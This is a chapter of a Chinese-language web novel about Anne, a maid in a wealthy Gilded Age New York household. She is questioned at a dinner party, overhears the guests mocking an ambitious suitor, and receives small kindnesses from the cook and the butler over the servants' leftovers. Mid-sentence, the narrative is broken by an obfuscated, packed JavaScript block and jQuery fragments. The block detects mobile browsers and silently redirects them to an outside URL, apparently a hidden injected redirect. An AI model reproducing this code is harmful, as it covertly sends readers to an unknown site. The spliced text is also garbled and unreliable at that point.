布鲁克家像一座闪亮的舞台。
舞会刚过去没多久。
一场为查尔斯·范里安先生安排的正式晚宴又开席了。
长桌上，沉重的银质枝形烛台闪耀着温暖的光芒，映照着一套套精美的迈森瓷器。
每副餐具的摆放都严格遵循礼仪，从外到内依次是生蚝叉、鱼刀、主餐刀、汤匙。玻璃杯也按顺序排列着，香槟杯、白酒杯、红酒杯。
穿着制服的男仆无声地站立在墙边。
安妮和其他几名女仆负责将厨房准备好的菜肴端到餐厅旁的备餐间，再由资格更老的侍者送入餐厅。她看到浓汤盛在带盖的精致瓷碗里被送上；整条鲑鱼配着荷兰酱汁，鱼眼处覆盖着着柠檬片；松露炖野鹿脊肉散发着浓郁的香气；烤孔雀被重新披上华丽的羽毛，仿佛仍在开屏。
每一道菜都像一件艺术品，伴随着不同的葡萄酒被依次奉上。
漫长的几个小时过去，晚宴进入尾声。
甜品塔、新鲜水果和干酪盘被送上。宾客们的姿态愈发松弛，谈笑声也变得更加随意响亮。安妮和露西得以在备餐间稍作喘息，隔着门缝，能隐约听到里面传来的谈话片段。
这个时候，就连露西这个爱说八卦的性格，也不说话了，只管扒着门缝努力津津有味地听着餐厅里的谈话。
话题主要围绕范里安先生承接的纽约第九大道高架线的顺利动工。大家说着恭维的话，偶尔夹杂着范德比尔特先生的几句酸话。
后来是些关于欧洲艺术、股票行情和纽波特夏季别墅的话题。
不知是谁起了个头，话题转向了不久前那场舞会上的趣闻。
「说到舞会，」阿斯特夫人用她特有的、略带拖沓的优雅腔调说，「最令我惊讶的，莫过于看到那位阿拉伯王子竟与一位女仆跳了舞。这可真是……不拘一格。」她轻轻摇着羽毛扇，语气里带着一丝不易察觉的揶揄。
范德比尔特夫人发出低沉的笑声：「我倒是听说，那位王子最后还被迷住了，甚至开口求婚了？真有此事吗，玛蒂尔达？」
玛蒂尔达夫人最近因「布鲁克快乐舞」的风靡正春风得意，浑不在意对面几人的语气。优雅地抿了一口餐后甜酒，微微一笑：「年轻人总有些异想天开的念头。不过，我们家的女仆倒是很懂规矩，知道自己的位置。」她说着，微微侧首，对侍立一旁的施耐德管家低声吩咐了一句。
施耐德管家点头，无声地退到备餐间，对安妮低声道：「安妮，夫人让你进去一下。」
安妮的心微微一紧。她深吸一口气，整理了一下略显褶皱的围裙，低着头，跟着管家走进那间灯火辉煌的餐厅。数十道目光瞬间落在她身上，让她感觉皮肤有些发烫。
「就是这位姑娘？」一位留着漂亮八字胡的先生饶有兴致地打量她。
「我听说，最后王子还想娶你做他的妻子，你拒绝了？」范德比尔特夫人直接问道，急于满足自己的好奇心。
八卦的女人！安妮低下头，看着光洁的地板，用清晰却谦卑的声音回答：「回夫人。我只是一个女仆，能陪尊贵的客人跳一支舞已是莫大的荣幸，不敢有任何非分之想。殿下仁慈，大约是可怜我笨拙，与我开个玩笑罢了。」
这些话她在脑子里捋了好多遍，就等着某天贵妇人随口一问，能从容应答。她的回答滴水不漏，顾及了所有人的颜面，更强调了主人家“懂规矩”的调教，彻底满足了在座宾客对“完美仆人”的想象，也多多少少让参与宴会期待听点不一样的宾客扫兴。
「看，我说了吧。」玛蒂尔达夫人满意地笑了笑，语气里带着一丝炫耀，「很知道分寸。」
阿斯特夫人微微颔首，似乎觉得无趣了，转而提起另一个话题：「说到舞会上的趣事，那个……那个朗诵情诗的年轻人又是谁？我亲爱的玛蒂尔达，难道是你特地请来表演滑稽戏的吗？我为错过那晚的余兴活动，懊恼呢。」她用手帕轻轻按了按嘴角，掩饰那抹嘲讽的笑意。
桌上响起一阵心照不宣的轻笑。
唯有坐在桌边的埃莉诺轻微不适。
玛蒂尔达夫人挥了挥手，仿佛在驱赶一只微不足道的小飞虫：「哦，那是瑞克斯先生，我们家一位木材供应商。最近我们正打算重新装潢书房，有了一丝交集。很有……嗯……进取心。」她巧妙地用“进取心”这个词，包裹住了十足的轻蔑。
「进取心？我看是昏了头。」查尔斯·范里安先生难得地开口评论，语气冷淡，「他怕是连玛埃莉诺今年几岁都没搞清楚，就已经把婚后生活幻想了个遍。」他的话引得几位男士发出更大的笑声。
「可不正是如此？」另一位先生附和道，「在这个时代，像他这样的年轻人太多了。满脑子都是向上爬的欲望，把别人出于礼貌的点头微笑都当成爱的暗示，把每一个社交场合都视为跃入天堂的跳板。却不知道，他们那点精心准备的、自以为是的‘体面’，在明眼人看来，从头到尾就是一场注定尴尬的闹剧。」
他们的谈话轻松而残忍，像在点评一出与己无关的戏剧。汤姆·瑞克斯那份炽热而粗糙的野心，成了这群真正掌握财富与权力的人佐餐的最佳笑料。他永远不会知道，自己视若珍宝的诗歌，在这些人眼中不过是滑稽戏。
安妮安静地站着，听着他们对一个努力想挤进这个圈子的人进行彻底的剖析和否定，心里泛起一丝复杂的凉意。她再次清晰地看到了那一道不可逾越的鸿沟。
「好了，没你的事了，下去吧。」玛蒂尔达夫人挥了挥手。
安妮如蒙大赦，再次低头行了一礼，安静而迅速地退出了餐厅，将那片璀璨灯光和轻松笑声重新关在门后。
她回到备餐间，露西立刻投来询问的眼神。安妮只是轻轻摇了摇头，拿起一块干净的布，开始默默地擦拭那些刚从餐厅撤下的、沾着昂贵酱汁的银盘。
晚宴结束。
宾客们移步客厅享用咖啡和白兰地。
厨房和备餐间则迎来了真正的“剩宴”。
/
安妮和露西将最后一批用过的餐具搬回厨房，他们看到的是：
仆人大厅长桌上，堆满了从宴席上撤下的盘子。许多菜肴几乎没被动过——整只的烤孔雀只少了胸脯最嫩的一小条；装饰着奶油玫瑰花的蛋糕被切走了可怜的一角；昂贵的鱼子酱还剩下大半；精心烹制的蔬菜被拨弄到一边，已然冷却……
触目惊心的浪费。
这些被轻易舍弃的食物，其价值远超楼下所有仆人一周的餐食开支。这就是这里的规则，展示财富远比填饱肚子重要。
然后，就是仆人们不成文的“奖赏”时间——分食残羹。
然而，即便是这些被主人“淘汰”的食物，也遵循着楼下世界森严的等级制度。汤姆厨师拿着大勺子，像一位分配战利品的将军，虽然他自己也满脸油汗，疲惫不堪。他先将一些完整的、品相最好的肉块——比如那只烤孔雀剩下的部分——以及几乎没动过的精致甜品，仔细地拨到几个干净的盘子里。
「这是给施耐德先生和梅布尔太太的。」他粗声说着，把盘子推到一边。然后，他又挑出一些不错的肉排和完整的糕点，分给那些资格较老、地位稍高的女仆和男仆。他们默默地接过，脸上带着一丝疲惫的满足。
最后，才轮到安妮、露西、玛莎这样最低等的女仆和小帮工。
轮到安妮时，长桌上只剩下一些零碎和汁水。汤姆厨师舀了一点冷掉的、凝着一层白色油脂的肉汁浇在她递过来的盘子里，又拨了几根被酱汁浸得软烂、不成样子的芦笋，最后从那个被破坏的蛋糕角落，刮了一小块变形塌陷的边角料给她。
油腻和甜腻的气味混合在一起，直冲鼻腔。安妮看着盘子里这堆冰冷的、杂乱的食物，毫无食欲，甚至感到一阵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417901|184715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阵恶心。她看着周围其他仆人们，包括露西和玛莎，都狼吞虎咽地吃着分到的东西，仿佛这是忙碌一天后最好的慰藉，心里涌起一股难以言喻的情绪。
她勉强吃了几口肉汁，胃里便开始翻江倒海。她脸色发白，额角渗出细密的冷汗，悄悄退到厨房最远的角落，靠着冰冷的石墙，紧紧闭上眼，试图压下那股强烈的不适感。
就在这时，一杯清澈、温热的燕麦粥无声地递到了她的面前。安妮惊讶地抬头，看到厨师汤姆关切地看着自己。
「啧，吃不下那些油乎乎的东西吧？」汤姆的声音依旧粗声粗气，但眼神里却有一丝不易察觉的了然和…或许是一点点同情？「刚来的都这样。胃受不了。喝点这个，暖暖胃，里头没放油，就一点盐。」
几乎是同时，另一只干净整洁得与厨房环境格格不入的手，也递过来一个红润饱满、看起来十分新鲜的苹果。安妮顺着那只手看去，更是吃了一惊——竟然是施耐德管家。
他不知何时也注意到了角落里的安妮，脸上依旧是那副古井无波的严肃表情。
「新鲜的苹果，有助于消化。」施耐德管家的声音平稳无波，仿佛只是在陈述一项经过验证的事实，「保持良好的体力，明天才能有效率地完成工作。身体的舒适是效率的基础。」
这两份突如其来的、截然不同的善意，让安妮一时愣住了。这碗简单的粥和这个冰凉的苹果，都同样珍贵。
「……谢谢您，汤姆先生。谢谢您，施耐德先生。」安妮接过温热的粥和冰凉的苹果，低声说道，一股真实的暖意顺着碗壁流入掌心，似乎真的驱散了胃里的一些冰冷和翻腾。
汤姆不甚在意地摆摆手，「赶紧吃完了好收拾，一堆活儿呢」就转身走开了。施耐德管家也微微颔首，转身继续去监督餐具归位和厨房的最终打扫。
玛莎瞥见这一切，发出一声不屑，「矫情，真爱装。」
……
安妮小口喝着燕麦粥，胃里终于慢慢舒服了许多。她听着周围仆人们压低声音的闲聊和碗盘碰撞的声响，话题自然离不开今晚的宾客和刚才楼上的谈话。
露西凑到她身边，一边啃着一块冷掉的烤饼，一边小声问：「安妮，刚才他们在里面到底说什么了？是不是又拿汤姆·瑞克斯先生取笑了？」
玛莎也竖起了耳朵。
刚才上楼送咖啡的女仆压低声音，带着点学舌的兴奋：「可不是嘛！阿斯特夫人说他是滑稽演员！范里安先生笑他昏了头，连埃莉诺小姐年纪都没问就瞎想！还有个先生说，他们那种人，就是把礼貌当暗示，把社交当跳板，其实演的滑稽戏自己都不知道！」她模仿着那种轻蔑又娱乐的语气。
桌上响起几声压抑的、意味复杂的低笑。
「还有呢还有呢？」露西催促道。
「还说他，啧，‘很有进取心’。」女仆撇撇嘴，「这话听着可真够损的。」
「……要我说，还是范里安先生厉害。」一个年长些的男仆一边吃着剩菜一边加入谈话，「铁路大王啊，听说一条铁路赚的钱，几辈子都花不完。」
「可不是嘛，夫人的出息，一多半都指着他呢。」另一个女仆小声接口，「毕竟是自家小叔子，过世的范里安先生的亲弟弟。这利益捆得，比什么都紧。」
「怪不得夫人对他那么客气，专门又开晚宴。」
「不过听说他的铁路老出事呢，上回……」
「嘘！别瞎说！让上面听到还想不想干了！」
铁路。事故。生意伙伴。亲戚。进取心。
这些词在安妮脑海中盘旋。范里安先生代表的是充满力量却也带着风险的工业资本，而布鲁克姓氏则代表着更老牌的、扎根这座城市的名望。两者结合，构成了这个镀金时代坚固的堡垒。
她喝完最后一口粥。
然后拿起抹布，加入清理大军。